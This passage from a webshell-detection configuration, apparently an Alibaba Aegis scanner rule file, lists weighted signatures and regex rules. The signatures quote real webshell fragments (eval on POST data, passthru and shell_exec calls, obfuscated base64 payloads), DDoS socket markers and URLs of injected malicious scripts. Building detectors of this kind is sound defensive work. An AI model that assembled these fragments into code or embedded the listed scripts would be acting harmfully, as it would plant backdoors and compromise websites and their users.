            </ITEM>
            <ITEM>
                <STR>http://www.huashi119.com/lh.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.itsvo.com/jsbjle/tbjl.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.lezhongle.cc/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.lhc888666.com/fp-sc.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.nanbanzm.com/hm8z/fcm.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.nanbanzm.com/qw8z/fcm.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.novnov.com/js/six.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sinacnzz.com/fc/c.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sinacnzz.com/qq/qq.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sjc9.com/js/jquery.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.smallsnews.com/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.t171.com/b8988/fcm.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.t171.com/w2w2/fcm.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.todubo.com/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ttbo777.info/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ttbo999.info/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/aspcai/top.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/aspliu/top.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/aspzi/top.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/phphe/top.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ursec.net/index/phpliao/top.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.vip-66.com/main/jquery.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.www6661222.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.www6661222.com/tj.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.xgscyd.com/facai/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.xinpaibcw.info/baidu.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yibotianxia.com/adjs/2012ok.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yifei.net/12.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yifei.net/ming.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/cw/fzjf/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/cw/tz.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/k/ceshi/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/k/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/t/fzkm/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc345.com/t/tzad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylc404.com/facai/l.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.ylg.pw/51.la.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.yundingyouhui.info/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.zubawang.com/niu/windy.gif</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.zxkh.net/kjs/top.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>ttwg.pw/mb/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[type=index.asp&host="&host_name&"&directory="&Branch_directory]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA[type=index.php&host=".$host_name."&directory=".$Branch]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA["&Branch_directory_11&"."&Branch_directory_12&"."&Branch_directory_13&"."&Branch_directory_14&"."&Branch_directory_15&"."&Branch_directory_16]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>users.51.la/17138832.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>www.0057888.com/mb/images/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>www.cc0777.com/mb/images/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>www6661222.com/mb/images/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>zzelle.com/mb/public/css/style.css</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://zq.anylm.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://888.sb9906.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR><![CDATA["7_printasdakljl/?hz=index.asp&host="&request.servervariables("http_host")]]></STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://www.sun8797.com/mb/js.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://byc1888.com/skin/ad.js</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>http://t.cn/Rvx3Kmv</STR>
                <NUM>70</NUM>
            </ITEM>
        </SEO>
        <EXT>
            <ITEM>asp</ITEM>
            <ITEM>asa</ITEM>
            <ITEM>cer</ITEM>
            <ITEM>cdx</ITEM>
            <ITEM>aspx</ITEM>
            <ITEM>jpg</ITEM>
            <ITEM>bmp</ITEM>
            <ITEM>jpeg</ITEM>
            <ITEM>png</ITEM>
            <ITEM>gif</ITEM>
            <ITEM>htr</ITEM>
            <ITEM>hdx</ITEM>
            <ITEM>asmx</ITEM>
            <ITEM>ashx</ITEM>
        </EXT>
    </language>

    <language>
        <processor>com.alibaba.security.aegis.webshell.checker.impl.DefaultWebShellChecker</processor>
        <threshold>80</threshold>
        <WEBSHELL>
            <ITEM>
                <STR>$password</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>'e'.'v'.'a'.'l'</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>$_GET["woaini"]=="91ri"</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36)</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>base64_decode(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>exec(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>passthru(</STR>
                <NUM>5</NUM>
            </ITEM>
            <ITEM>
                <STR>system(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>shell_exec(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>proc_open(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>pcntl_exec(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>into outfile</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>load_file(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>.htaccess</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>udfdll</STR>
                <NUM>35</NUM>
            </ITEM>
            <ITEM>
                <STR>shellcode</STR>
                <NUM>55</NUM>
            </ITEM>
            <ITEM>
                <STR>@popen(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>SetHandler application/x-httpd-php</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>preg_replace($exif['Make'],$exif['Model'],'')</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>oo0o0O0o00oOo0O0o0OoO</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Eval(base64_decode(file_get_contents(base64_decode</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(gzinflate(base64_decode(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(gzinflate(STR_rot13(base64_decode(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(gzuncompress(base64_decode(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(STR_rot13(</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>TG9jYXRpb24</STR>
                <NUM>55</NUM>
            </ITEM>
            <ITEM>
                <STR>base64_decode("4D5A90000300000004</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>0x4d5a4b45524e454c33322e444c4c00004c6f61644c6962726172794</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>langouster_udf.dll</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$b33 = $_SERVER['DOCUMENT_ROOT']</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>passthru($cmd)</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>PHP Web Shell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>P.h.p.S.p.y</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>phpshell</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>w4ck1ng</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>PhpSpy</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>_pass</STR>
                <NUM>1</NUM>
            </ITEM>
            <ITEM>
                <STR>b374k</STR>
                <NUM>79</NUM>
            </ITEM>
            <ITEM>
                <STR>milw0rm</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>c80</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>c100</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>STUNSHELL</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>FaTaLisTiCz</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Fx29SheLL</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>backdoor</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>$back_connect</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>r57</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Pr!v8</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>webadmin</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>PHPJackal</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>C80madShell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Ve_cENxShell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>ipconfig -all</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>cmd.exe /c</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>/bin/sh</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>c80shell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>NGHshell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Xgr0upVN</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>call_user_func(</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>fsockopen</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>tools88.com</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>EgY_SpIdEr</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>XXDD0S</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>cha88.cn</STR>
                <NUM>50</NUM>
            </ITEM>
            <ITEM>
                <STR>SECFORCE</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>webshell</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>auto_prepend_file</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>Guama_</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Qingma_Auto</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>Qingma_c</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>Antivirus_e</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Exec_g</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>admin_spiderpass</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>Shell (SPS-3.0)</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Spider PHP Shell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>SELECT cmd FROM a INTO DUMPFILE</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>net start Terminal Services</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>SELECT spider FROM Spider_Temp_Tab</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>base64_decode($back_connect</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>k1r4fsearch</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>fuckanquangoutezheng</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>'\'a\'eis','e'.'v'.'a'.'l'.'($g($b($enfile)))','a'</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>3vWW7F6DsceDRT0dKtBX2rqX5Fh9tJDJpG71Byr5Th6TsbPulbB8Gmg3</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>GUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lW</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$entry_line="HACKed by EntriKa";</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>cont=replace(cont,"href=""","href=""?gov.cn.")</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$dez = $pwddir."/".$real;</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>echo "FILE UPLOADED TO $dez"</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>"R0lGODlhWAKWAOf</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$ydosya2 = fopen("$ydosya", 'w')</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>fwrite($ydosya2, $kodlar)</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>cat /tmp/cmdtemp; rm /tmp/cmdtemp</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>href='$MyLoc?$SREQ&amp;incdbhost=$myhost&amp;incdbuser=$myuser&amp;incdbpass=$mypass&amp;incdbname=$col_value'</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>MyShell: can't change directory.\n$work_dir</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>if(get_magic_quotes_gpc())$shellOut=STRipslashes($shellOut)</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>if(file_exists("c:\\windows\\system32\\"))$dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>WWW.XXDDOS.COM</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>form action=\"".$me."?p=delete&amp;file=".$_GET['file']."\" method=POST</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>JCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5P</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;dump_download=1&amp;f_d=$f_d</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$liz0zim=shell_exec($_POST[liz0])</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAA</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>744zdMGn59wNZsz05tcH40pO/GcCgDzJj+e</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>((!isset($key))?($key=implode('`, `',array_keys($line))):null);</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>+dWMMMMMNm+,`+ltltlzz??+1lltltv+^.jdMMMMMMHA+</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>;@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>hYSMtmdpZNpy8ZY6hBlJJxBWSVC5FiGoIRJzgYAXAW</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>Calistirmak istediginiz komutu buraya girin</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>@oOo00o0OOo0o000000O($_GET["pass"]</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>AAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>'.getenv("HTTP_HOST").' - Antichat Shell</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>move_uploaded_file($userfile, "entrika.php");</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$curcmd = "cd ".$curdir.";".$curcmd</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>php passthru(getenv("HTTP_ACCEPT_LANGUAGE")); echo '</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>TDWGKJ3Ai1/BCtiO9grefEeAoU46gAwUDUuI4udXxGGoG</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>udp://$ooooo00oo0000oo0oo0oo00ooo0ooo0o0o0</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>mailto:crazy_king@turkusev.net</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==</STR>
                <NUM>20</NUM>
            </ITEM>
            <ITEM>
                <STR>if (!empty($unset_surl)) {setcookie("c80sh_surl"); $surl = "";}</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$pro=$pro1.$pro2.$pro3.$pro4.$pro5.$pro6.$pro7.$pro8;</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>${'_'.$_}['_'](${'_'.$_}['__'])</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>$myurl='http://www.mianshamuma.com'</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>{chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>$Remote_server = "http://cs.sff8.com/</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>$Remote_server = "http://www.kmbczl.com/</STR>
                <NUM>70</NUM>
            </ITEM>
            <ITEM>
                <STR>Remote_server = base64_decode('aHR0cDovL2pzLmh0bTEuY2M=')</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(@base64_decode($_POST</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>eval(base64_decode($_POST</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>preg_replace('/'.'1'.'/'.'i'.'s'.'e'.'x' , 'e'.'v'.'al('.'$_'.'PO'.'ST</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>preg_replace('/'.'1'.'/'.'i'.'s'.'e'.'x','e'.'v'.'al('.'$_'.'P'.'O'.'S'.'T</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>preg_replace('/'.'1'.'/'.'i'.'s'.'e'.'x','e'.'v'.'al('.'$_'.'PO'.'ST</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>preg_replace('/ad/e','@'.str_rot13('riny')</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>str_rot13('riny')</STR>
                <NUM>80</NUM>
            </ITEM>

            <RULE>
                <ITEM>[^\w](eval|assert|popen|proc_open|shell_exec|passthru|system|create_function)\(([^\(\)]*)STRipslashes\((\$_GET|\$_POST|\$_COOKIE|\$_SESSION|\$_REQUEST)\[(.{1,20})\]\)</ITEM>
                <ITEM>STRrev\(([^\(]*)edoced_46esab([^\(]*)\)</ITEM>
                <ITEM>fputs\(fopen\([^\(\)]*\),[^\(\)]*(\$_GET|\$_POST|\$_COOKIE|\$_SESSION|\$_REQUEST)\[(.{1,20})\]</ITEM>
                <ITEM>[^\>"](\$_GET|\$_POST)\[[^\(\)\{\}\[\]]{0,8}\]\((\$_GET|\$_POST)\[</ITEM>
                <ITEM>(?i)[^\w](eval|assert|popen|proc_open|shell_exec|passthru)\s*\(\\?(\$_GET|\$_COOKIE|\$_POST|\$_SESSION|\$_REQUEST)(\s*)\[(\s*.{1,20}\s*)\]([^\)]*)\)</ITEM>
                <ITEM>^gif89a</ITEM>
                <ITEM>(?i)[^\w]eval\(base64_decode\((\$_GET|\$_POST|\$_REQUEST)\[.{0,34}\]\)\)</ITEM>
            </RULE>
        </WEBSHELL>
        <INFORMATION>
            <ITEM>
                <STR>phpddos</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>socket_create(AF_INET, SOCK_STREAM, SOL_TCP)</STR>
                <NUM>10</NUM>
            </ITEM>
            <ITEM>
                <STR>www.phpddos.com</STR>
                <NUM>60</NUM>
            </ITEM>
            <ITEM>
                <STR>pfsockopen("tcp://</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>pfsockopen("udp://</STR>
                <NUM>30</NUM>
            </ITEM>
            <ITEM>
                <STR>fsockopen("udp://</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>buyer_nick</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>receiver_mobile</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>receiver_address</STR>
                <NUM>40</NUM>
            </ITEM>
            <ITEM>
                <STR>oybhacker</STR>
                <NUM>60</NUM>
            </ITEM>
        </INFORMATION>
        <SEO>
            <ITEM>
                <STR>.1188588.com/mb/js1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>1.81949.com/mb/images/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>23.245.198.139:88/files/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>255667.com/mb/public/css/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>51yes.com/click.aspx?id=214346876</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>767002.com/mb/images/style.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>8kyule.com/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>94v587.com/include/js/hz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>955947.com/mb/2.css</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>api.discuz.com.de/bet.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>cr88888.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http%3A//www.go0qle.com/zq.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2E%62%65%74%30%30%31%2E%63%6F%6D/%61%64/%73.%67i%66</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2E%6A%78%31%34%30%2E%63%6F%6D/liu/jc/tzad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2e%74%74%72%64%79%2e%63%6f%6d/%73%65%6f/%6c%68/mao/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://%77%77%77%2e%74%74%72%64%79%2e%63%6f%6d/%73%65%6f/sf/2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://001sx.com/tz/zqad.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://0913web.com/cpc3.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://1.81949.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://11.988947.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://112.213.126.202/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://162.217.172.14:60/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://184.22.155.137:100/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://184.22.4.27/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://19821024.com/mydown.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23.245.198.138:88/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23.245.198.140:88/haha/t.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23.88.85.201/by/zs.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://23678.net/lh/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://3.cr88888.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://3.ttleba.com/tj.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://400378.com/boc/tz.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/js/zz/sc.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/js/zz/sc2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/lun/tan.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://5vw.net/baidu/liu/lun/tan2.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://61.194.40.116/docs/images/1.js</STR>
                <NUM>80</NUM>
            </ITEM>
            <ITEM>
                <STR>http://666.sa8999.com/mb/js.js</STR>
                <NUM>80</NUM>
            </ITEM>
